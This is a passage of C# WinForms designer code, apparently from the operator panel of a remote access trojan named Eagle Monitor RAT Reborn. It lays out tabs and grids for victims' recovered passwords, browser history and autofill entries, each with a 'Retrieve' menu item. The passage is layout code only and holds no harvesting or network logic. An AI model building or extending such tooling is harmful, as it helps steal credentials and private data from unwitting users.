((int)(((byte)(249)))));\n            this.minimizeGuna2ControlBox.IconColor = System.Drawing.Color.White;\n            this.minimizeGuna2ControlBox.Location = new System.Drawing.Point(1142, 1);\n            this.minimizeGuna2ControlBox.Name = \"minimizeGuna2ControlBox\";\n            this.minimizeGuna2ControlBox.Size = new System.Drawing.Size(45, 29);\n            this.minimizeGuna2ControlBox.TabIndex = 4;\n            // \n            // clientLabel\n            // \n            this.clientLabel.AutoSize = true;\n            this.clientLabel.BackColor = System.Drawing.Color.Transparent;\n            this.clientLabel.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(80)))), ((int)(((byte)(80)))), ((int)(((byte)(80)))));\n            this.clientLabel.Location = new System.Drawing.Point(41, 9);\n            this.clientLabel.Name = \"clientLabel\";\n            this.clientLabel.Size = new System.Drawing.Size(16, 13);\n            this.clientLabel.TabIndex = 7;\n            this.clientLabel.Text = \"...\";\n            this.clientLabel.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;\n            this.clientLabel.MouseDown += new System.Windows.Forms.MouseEventHandler(this.clientLabel_MouseDown);\n            // \n            // mainGuna2TabControl\n            // \n            this.mainGuna2TabControl.Alignment = System.Windows.Forms.TabAlignment.Right;\n            this.mainGuna2TabControl.Controls.Add(this.tabPage1);\n            this.mainGuna2TabControl.Controls.Add(this.tabPage2);\n            this.mainGuna2TabControl.Controls.Add(this.tabPage5);\n            this.mainGuna2TabControl.Controls.Add(this.tabPage8);\n            this.mainGuna2TabControl.Controls.Add(this.tabPage14);\n            this.mainGuna2TabControl.Controls.Add(this.tabPage24);\n            this.mainGuna2TabControl.Controls.Add(this.tabPage25);\n            this.mainGuna2TabControl.Controls.Add(this.tabPage29);\n            this.mainGuna2TabControl.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.mainGuna2TabControl.ItemSize = new System.Drawing.Size(180, 40);\n            this.mainGuna2TabControl.Location = new System.Drawing.Point(0, 0);\n            this.mainGuna2TabControl.Name = \"mainGuna2TabControl\";\n            this.mainGuna2TabControl.SelectedIndex = 0;\n            this.mainGuna2TabControl.Size = new System.Drawing.Size(1279, 482);\n            this.mainGuna2TabControl.TabButtonHoverState.BorderColor = System.Drawing.Color.Empty;\n            this.mainGuna2TabControl.TabButtonHoverState.FillColor = System.Drawing.Color.Gainsboro;\n            this.mainGuna2TabControl.TabButtonHoverState.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 10F);\n            this.mainGuna2TabControl.TabButtonHoverState.ForeColor = System.Drawing.Color.White;\n            this.mainGuna2TabControl.TabButtonHoverState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.mainGuna2TabControl.TabButtonIdleState.BorderColor = System.Drawing.Color.Empty;\n            this.mainGuna2TabControl.TabButtonIdleState.FillColor = System.Drawing.Color.White;\n            this.mainGuna2TabControl.TabButtonIdleState.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 10F);\n            this.mainGuna2TabControl.TabButtonIdleState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(156)))), ((int)(((byte)(160)))), ((int)(((byte)(167)))));\n            this.mainGuna2TabControl.TabButtonIdleState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(235)))), ((int)(((byte)(235)))), ((int)(((byte)(235)))));\n            this.mainGuna2TabControl.TabButtonImageAlign = System.Windows.Forms.HorizontalAlignment.Left;\n            this.mainGuna2TabControl.TabButtonSelectedState.BorderColor = System.Drawing.Color.Empty;\n            this.mainGuna2TabControl.TabButtonSelectedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.mainGuna2TabControl.TabButtonSelectedState.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 10F);\n            this.mainGuna2TabControl.TabButtonSelectedState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));\n            this.mainGuna2TabControl.TabButtonSelectedState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.mainGuna2TabControl.TabButtonSize = new System.Drawing.Size(180, 40);\n            this.mainGuna2TabControl.TabIndex = 8;\n            this.mainGuna2TabControl.TabMenuBackColor = System.Drawing.Color.White;\n            this.mainGuna2TabControl.TabMenuOrientation = Guna.UI2.WinForms.TabMenuOrientation.VerticalRight;\n            this.mainGuna2TabControl.SelectedIndexChanged += new System.EventHandler(this.mainGuna2TabControl_SelectedIndexChanged);\n            // \n            // tabPage1\n            // \n            this.tabPage1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.tabPage1.Controls.Add(this.recoveryGuna2TabControl);\n            this.tabPage1.Location = new System.Drawing.Point(4, 4);\n            this.tabPage1.Name = \"tabPage1\";\n            this.tabPage1.Size = new System.Drawing.Size(1091, 474);\n            this.tabPage1.TabIndex = 0;\n            this.tabPage1.Text = \"Recovery\";\n            // \n            // recoveryGuna2TabControl\n            // \n            this.recoveryGuna2TabControl.Controls.Add(this.tabPage3);\n            this.recoveryGuna2TabControl.Controls.Add(this.tabPage4);\n            this.recoveryGuna2TabControl.Controls.Add(this.tabPage6);\n            this.recoveryGuna2TabControl.Controls.Add(this.tabPage7);\n            this.recoveryGuna2TabControl.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.recoveryGuna2TabControl.ItemSize = new System.Drawing.Size(180, 40);\n            this.recoveryGuna2TabControl.Location = new System.Drawing.Point(0, 0);\n            this.recoveryGuna2TabControl.Name = \"recoveryGuna2TabControl\";\n            this.recoveryGuna2TabControl.SelectedIndex = 0;\n            this.recoveryGuna2TabControl.Size = new System.Drawing.Size(1091, 474);\n            this.recoveryGuna2TabControl.TabButtonHoverState.BorderColor = System.Drawing.Color.Empty;\n            this.recoveryGuna2TabControl.TabButtonHoverState.FillColor = System.Drawing.Color.Gainsboro;\n            this.recoveryGuna2TabControl.TabButtonHoverState.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 10F);\n            this.recoveryGuna2TabControl.TabButtonHoverState.ForeColor = System.Drawing.Color.White;\n            this.recoveryGuna2TabControl.TabButtonHoverState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.recoveryGuna2TabControl.TabButtonIdleState.BorderColor = System.Drawing.Color.Empty;\n            this.recoveryGuna2TabControl.TabButtonIdleState.FillColor = System.Drawing.Color.White;\n            this.recoveryGuna2TabControl.TabButtonIdleState.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 10F);\n            this.recoveryGuna2TabControl.TabButtonIdleState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(156)))), ((int)(((byte)(160)))), ((int)(((byte)(167)))));\n            this.recoveryGuna2TabControl.TabButtonIdleState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(235)))), ((int)(((byte)(235)))), ((int)(((byte)(235)))));\n            this.recoveryGuna2TabControl.TabButtonSelectedState.BorderColor = System.Drawing.Color.Empty;\n            this.recoveryGuna2TabControl.TabButtonSelectedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.recoveryGuna2TabControl.TabButtonSelectedState.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 10F);\n            this.recoveryGuna2TabControl.TabButtonSelectedState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));\n            this.recoveryGuna2TabControl.TabButtonSelectedState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.recoveryGuna2TabControl.TabButtonSize = new System.Drawing.Size(180, 40);\n            this.recoveryGuna2TabControl.TabIndex = 14;\n            this.recoveryGuna2TabControl.TabMenuBackColor = System.Drawing.Color.White;\n            this.recoveryGuna2TabControl.TabMenuOrientation = Guna.UI2.WinForms.TabMenuOrientation.HorizontalTop;\n            // \n            // tabPage3\n            // \n            this.tabPage3.BackColor = System.Drawing.Color.White;\n            this.tabPage3.Controls.Add(this.passwordsDataGridView);\n            this.tabPage3.Controls.Add(this.guna2VScrollBar1);\n            this.tabPage3.Location = new System.Drawing.Point(4, 44);\n            this.tabPage3.Name = \"tabPage3\";\n            this.tabPage3.Size = new System.Drawing.Size(1083, 426);\n            this.tabPage3.TabIndex = 0;\n            this.tabPage3.Text = \"Passwords\";\n            // \n            // passwordsDataGridView\n            // \n            this.passwordsDataGridView.AllowUserToAddRows = false;\n            this.passwordsDataGridView.AllowUserToDeleteRows = false;\n            this.passwordsDataGridView.AllowUserToResizeColumns = false;\n            this.passwordsDataGridView.AllowUserToResizeRows = false;\n            this.passwordsDataGridView.BackgroundColor = System.Drawing.Color.White;\n            this.passwordsDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None;\n            this.passwordsDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;\n            this.passwordsDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;\n            dataGridViewCellStyle1.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;\n            dataGridViewCellStyle1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            dataGridViewCellStyle1.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            dataGridViewCellStyle1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));\n            dataGridViewCellStyle1.SelectionBackColor = System.Drawing.SystemColors.Highlight;\n            dataGridViewCellStyle1.SelectionForeColor = System.Drawing.SystemColors.HighlightText;\n            dataGridViewCellStyle1.WrapMode = System.Windows.Forms.DataGridViewTriState.True;\n            this.passwordsDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle1;\n            this.passwordsDataGridView.ColumnHeadersHeight = 36;\n            this.passwordsDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {\n            this.Column1,\n            this.Column2,\n            this.Column3,\n            this.Column4});\n            this.passwordsDataGridView.ContextMenuStrip = this.passwordContextMenuStrip;\n            this.passwordsDataGridView.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.passwordsDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically;\n            this.passwordsDataGridView.EnableHeadersVisualStyles = false;\n            this.passwordsDataGridView.GridColor = System.Drawing.Color.White;\n            this.passwordsDataGridView.Location = new System.Drawing.Point(0, 0);\n            this.passwordsDataGridView.Name = \"passwordsDataGridView\";\n            this.passwordsDataGridView.ReadOnly = true;\n            this.passwordsDataGridView.RowHeadersVisible = false;\n            dataGridViewCellStyle4.BackColor = System.Drawing.Color.White;\n            dataGridViewCellStyle4.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));\n            dataGridViewCellStyle4.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));\n            dataGridViewCellStyle4.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));\n            this.passwordsDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle4;\n            this.passwordsDataGridView.RowTemplate.Height = 26;\n            this.passwordsDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;\n            this.passwordsDataGridView.Size = new System.Drawing.Size(1065, 426);\n            this.passwordsDataGridView.TabIndex = 13;\n            this.passwordsDataGridView.TabStop = false;\n            // \n            // Column1\n            // \n            this.Column1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            dataGridViewCellStyle2.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));\n            this.Column1.DefaultCellStyle = dataGridViewCellStyle2;\n            this.Column1.FillWeight = 25F;\n            this.Column1.HeaderText = \"URL\";\n            this.Column1.Name = \"Column1\";\n            this.Column1.ReadOnly = true;\n            // \n            // Column2\n            // \n            this.Column2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            dataGridViewCellStyle3.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));\n            this.Column2.DefaultCellStyle = dataGridViewCellStyle3;\n            this.Column2.FillWeight = 18F;\n            this.Column2.HeaderText = \"Username\";\n            this.Column2.Name = \"Column2\";\n            this.Column2.ReadOnly = true;\n            // \n            // Column3\n            // \n            this.Column3.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            this.Column3.FillWeight = 25F;\n            this.Column3.HeaderText = \"Password\";\n            this.Column3.Name = \"Column3\";\n            this.Column3.ReadOnly = true;\n            // \n            // Column4\n            // \n            this.Column4.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            this.Column4.FillWeight = 20F;\n            this.Column4.HeaderText = \"Application\";\n            this.Column4.Name = \"Column4\";\n            this.Column4.ReadOnly = true;\n            // \n            // passwordContextMenuStrip\n            // \n            this.passwordContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28);\n            this.passwordContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {\n            this.getPasswordToolStripMenuItem});\n            this.passwordContextMenuStrip.Name = \"clientContextMenuStrip\";\n            this.passwordContextMenuStrip.Size = new System.Drawing.Size(129, 38);\n            // \n            // getPasswordToolStripMenuItem\n            // \n            this.getPasswordToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.getPasswordToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.getPasswordToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.key_32px;\n            this.getPasswordToolStripMenuItem.Name = \"getPasswordToolStripMenuItem\";\n            this.getPasswordToolStripMenuItem.Size = new System.Drawing.Size(128, 34);\n            this.getPasswordToolStripMenuItem.Text = \"Retrieve\";\n            this.getPasswordToolStripMenuItem.Click += new System.EventHandler(this.getPasswordToolStripMenuItem_Click);\n            // \n            // guna2VScrollBar1\n            // \n            this.guna2VScrollBar1.Dock = System.Windows.Forms.DockStyle.Right;\n            this.guna2VScrollBar1.FillColor = System.Drawing.Color.White;\n            this.guna2VScrollBar1.InUpdate = false;\n            this.guna2VScrollBar1.LargeChange = 10;\n            this.guna2VScrollBar1.Location = new System.Drawing.Point(1065, 0);\n            this.guna2VScrollBar1.Name = \"guna2VScrollBar1\";\n            this.guna2VScrollBar1.ScrollbarSize = 18;\n            this.guna2VScrollBar1.Size = new System.Drawing.Size(18, 426);\n            this.guna2VScrollBar1.TabIndex = 14;\n            this.guna2VScrollBar1.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            // \n            // tabPage4\n            // \n            this.tabPage4.BackColor = System.Drawing.Color.White;\n            this.tabPage4.Controls.Add(this.guna2VScrollBar2);\n            this.tabPage4.Controls.Add(this.historyDataGridView);\n            this.tabPage4.Location = new System.Drawing.Point(4, 44);\n            this.tabPage4.Name = \"tabPage4\";\n            this.tabPage4.Size = new System.Drawing.Size(1083, 426);\n            this.tabPage4.TabIndex = 1;\n            this.tabPage4.Text = \"History\";\n            // \n            // guna2VScrollBar2\n            // \n            this.guna2VScrollBar2.Dock = System.Windows.Forms.DockStyle.Right;\n            this.guna2VScrollBar2.FillColor = System.Drawing.Color.White;\n            this.guna2VScrollBar2.InUpdate = false;\n            this.guna2VScrollBar2.LargeChange = 10;\n            this.guna2VScrollBar2.Location = new System.Drawing.Point(1065, 0);\n            this.guna2VScrollBar2.Name = \"guna2VScrollBar2\";\n            this.guna2VScrollBar2.ScrollbarSize = 18;\n            this.guna2VScrollBar2.Size = new System.Drawing.Size(18, 426);\n            this.guna2VScrollBar2.TabIndex = 15;\n            this.guna2VScrollBar2.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            // \n            // historyDataGridView\n            // \n            this.historyDataGridView.AllowUserToAddRows = false;\n            this.historyDataGridView.AllowUserToDeleteRows = false;\n            this.historyDataGridView.AllowUserToResizeColumns = false;\n            this.historyDataGridView.AllowUserToResizeRows = false;\n            this.historyDataGridView.BackgroundColor = System.Drawing.Color.White;\n            this.historyDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None;\n            this.historyDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;\n            this.historyDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;\n            dataGridViewCellStyle5.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;\n            dataGridViewCellStyle5.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            dataGridViewCellStyle5.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            dataGridViewCellStyle5.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));\n            dataGridViewCellStyle5.SelectionBackColor = System.Drawing.SystemColors.Highlight;\n            dataGridViewCellStyle5.SelectionForeColor = System.Drawing.SystemColors.HighlightText;\n            dataGridViewCellStyle5.WrapMode = System.Windows.Forms.DataGridViewTriState.True;\n            this.historyDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle5;\n            this.historyDataGridView.ColumnHeadersHeight = 36;\n            this.historyDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {\n            this.Column5,\n            this.Column6,\n            this.Column7,\n            this.Column8,\n            this.Column9});\n            this.historyDataGridView.ContextMenuStrip = this.historyContextMenuStrip;\n            this.historyDataGridView.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.historyDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically;\n            this.historyDataGridView.EnableHeadersVisualStyles = false;\n            this.historyDataGridView.GridColor = System.Drawing.Color.White;\n            this.historyDataGridView.Location = new System.Drawing.Point(0, 0);\n            this.historyDataGridView.Name = \"historyDataGridView\";\n            this.historyDataGridView.ReadOnly = true;\n            this.historyDataGridView.RowHeadersVisible = false;\n            dataGridViewCellStyle8.BackColor = System.Drawing.Color.White;\n            dataGridViewCellStyle8.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));\n            dataGridViewCellStyle8.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));\n            dataGridViewCellStyle8.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));\n            this.historyDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle8;\n            this.historyDataGridView.RowTemplate.Height = 26;\n            this.historyDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;\n            this.historyDataGridView.Size = new System.Drawing.Size(1083, 426);\n            this.historyDataGridView.TabIndex = 14;\n            this.historyDataGridView.TabStop = false;\n            this.historyDataGridView.MouseUp += new System.Windows.Forms.MouseEventHandler(this.historyDataGridView_MouseUp);\n            // \n            // Column5\n            // \n            this.Column5.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            dataGridViewCellStyle6.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));\n            this.Column5.DefaultCellStyle = dataGridViewCellStyle6;\n            this.Column5.FillWeight = 25F;\n            this.Column5.HeaderText = \"Application\";\n            this.Column5.Name = \"Column5\";\n            this.Column5.ReadOnly = true;\n            // \n            // Column6\n            // \n            this.Column6.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            dataGridViewCellStyle7.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));\n            this.Column6.DefaultCellStyle = dataGridViewCellStyle7;\n            this.Column6.FillWeight = 18F;\n            this.Column6.HeaderText = \"Title\";\n            this.Column6.Name = \"Column6\";\n            this.Column6.ReadOnly = true;\n            // \n            // Column7\n            // \n            this.Column7.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            this.Column7.FillWeight = 25F;\n            this.Column7.HeaderText = \"URL\";\n            this.Column7.Name = \"Column7\";\n            this.Column7.ReadOnly = true;\n            // \n            // Column8\n            // \n            this.Column8.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            this.Column8.FillWeight = 20F;\n            this.Column8.HeaderText = \"Date\";\n            this.Column8.Name = \"Column8\";\n            this.Column8.ReadOnly = true;\n            // \n            // Column9\n            // \n            this.Column9.HeaderText = \"Visit Count\";\n            this.Column9.Name = \"Column9\";\n            this.Column9.ReadOnly = true;\n            // \n            // historyContextMenuStrip\n            // \n            this.historyContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28);\n            this.historyContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {\n            this.historyToolStripMenuItem});\n            this.historyContextMenuStrip.Name = \"clientContextMenuStrip\";\n            this.historyContextMenuStrip.Size = new System.Drawing.Size(129, 38);\n            // \n            // historyToolStripMenuItem\n            // \n            this.historyToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.historyToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.historyToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.time_machine_32px;\n            this.historyToolStripMenuItem.Name = \"historyToolStripMenuItem\";\n            this.historyToolStripMenuItem.Size = new System.Drawing.Size(128, 34);\n            this.historyToolStripMenuItem.Text = \"Retrieve\";\n            this.historyToolStripMenuItem.Click += new System.EventHandler(this.historyToolStripMenuItem_Click);\n            // \n            // tabPage6\n            // \n            this.tabPage6.Controls.Add(this.autofillDataGridView);\n            this.tabPage6.Controls.Add(this.guna2VScrollBar5);\n            this.tabPage6.Location = new System.Drawing.Point(4, 44);\n            this.tabPage6.Name = \"tabPage6\";\n            this.tabPage6.Size = new System.Drawing.Size(1083, 426);\n            this.tabPage6.TabIndex = 2;\n            this.tabPage6.Text = \"Autofills\";\n            this.tabPage6.UseVisualStyleBackColor = true;\n            // \n            // autofillDataGridView\n            // \n            this.autofillDataGridView.AllowUserToAddRows = false;\n            this.autofillDataGridView.AllowUserToDeleteRows = false;\n            this.autofillDataGridView.AllowUserToResizeColumns = false;\n            this.autofillDataGridView.AllowUserToResizeRows = false;\n            this.autofillDataGridView.BackgroundColor = System.Drawing.Color.White;\n            this.autofillDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None;\n            this.autofillDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;\n            this.autofillDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;\n            dataGridViewCellStyle9.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;\n            dataGridViewCellStyle9.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            dataGridViewCellStyle9.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            dataGridViewCellStyle9.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));\n            dataGridViewCellStyle9.SelectionBackColor = System.Drawing.SystemColors.Highlight;\n            dataGridViewCellStyle9.SelectionForeColor = System.Drawing.SystemColors.HighlightText;\n            dataGridViewCellStyle9.WrapMode = System.Windows.Forms.DataGridViewTriState.True;\n            this.autofillDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle9;\n            this.autofillDataGridView.ColumnHeadersHeight = 36;\n            this.autofillDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {\n            this.Column21,\n            this.Column22,\n            this.Column23,\n            this.Column24,\n            this.Column25});\n            this.autofillDataGridView.ContextMenuStrip = this.autofillContextMenuStrip;\n            this.autofillDataGridView.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.autofillDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically;\n            this.autofillDataGridView.EnableHeadersVisualStyles = false;\n            this.autofillDataGridView.GridColor = System.Drawing.Color.White;\n            this.autofillDataGridView.Location = new System.Drawing.Point(0, 0);\n            this.autofillDataGridView.Name = \"autofillDataGridView\";\n            this.autofillDataGridView.ReadOnly = true;\n            this.autofillDataGridView.RowHeadersVisible = false;\n            dataGridViewCellStyle12.BackColor = System.Drawing.Color.White;\n            dataGridViewCellStyle12.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));\n            dataGridViewCellStyle12.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));\n            dataGridViewCellStyle12.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));\n            this.autofillDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle12;\n            this.autofillDataGridView.RowTemplate.Height = 26;\n            this.autofillDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;\n            this.autofillDataGridView.Size = new System.Drawing.Size(1065, 426);\n            this.autofillDataGridView.TabIndex = 15;\n            this.autofillDataGridView.TabStop = false;\n            this.autofillDataGridView.MouseUp += new System.Windows.Forms.MouseEventHandler(this.autofillDataGridView_MouseUp);\n            // \n            // Column21\n            // \n            this.Column21.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            dataGridViewCellStyle10.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));\n            this.Column21.DefaultCellStyle = dataGridViewCellStyle10;\n            this.Column21.FillWeight = 25F;\n            this.Column21.HeaderText = \"Application\";\n            this.Column21.Name = \"Column21\";\n            this.Column21.ReadOnly = true;\n            // \n            // Column22\n            // \n            this.Column22.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            dataGridViewCellStyle11.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));\n            this.Column22.DefaultCellStyle = dataGridViewCellStyle11;\n            this.Column22.FillWeight = 18F;\n            this.Column22.HeaderText = \"Name\";\n            this.Column22.Name = \"Column22\";\n            this.Column22.ReadOnly = true;\n            // \n            // Column23\n            // \n            this.Column23.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            this.Column23.FillWeight = 25F;\n            this.Column23.HeaderText = \"Autofill\";\n            this.Column23.Name = \"Column23\";\n            this.Column23.ReadOnly = true;\n            // \n            // Column24\n            // \n            this.Column24.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            this.Column24.FillWeight = 20F;\n            this.Column24.HeaderText = \"Date created\";\n            this.Column24.Name = \"Column24\";\n            this.Column24.ReadOnly = true;\n            // \n            // Column25\n            // \n            this.Column25.HeaderText = \"Last date used\";\n            this.Column25.Name = \"Column25\";\n            this.Column25.ReadOnly = true;\n            // \n            // autofillContextMenuStrip\n            // \n            this.autofillContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28);\n            this.autofillContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {\n            this.autofillToolStripMenuItem});\n            this.autofillContextMenuStrip.Name = \"clientContextMenuStrip\";\n            this.autofillContextMenuStrip.Size = new System.Drawing.Size(129, 38);\n            // \n            // autofillToolStripMenuItem\n            // \n            this.autofillToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.autofillToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.autofillToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.single_line_text_input_32px;\n            this.autofillToolStripMenuItem.Name = \"autofillToolStripMenuItem\";\n            this.autofillToolStripMenuItem.Size = new System.Drawing.Size(128, 34);\n            this.autofillToolStripMenuItem.Text = \"Retrieve\";\n            this.autofillToolStripMenuItem.Click += new System.EventHandler(this.autofillToolStripMenuItem_Click);\n            // \n            // guna2VScrollBar5\n            // \n            this.guna2VScrollBar5.Dock = System.Windows.Forms.DockStyle.Right;\n            this.guna2VScrollBar5.FillColor = System.Drawing.Color.White;\n            this.guna2VScrollBar5.InUpdate = false;\n            this.guna2VScrollBar5.LargeChange = 10;\n            this.guna2VScrollBar5.Location = new System.Drawing.Point(1065, 0);\n            this.guna2VScrollBar5.Name = \"guna2VScrollBar5\";\n            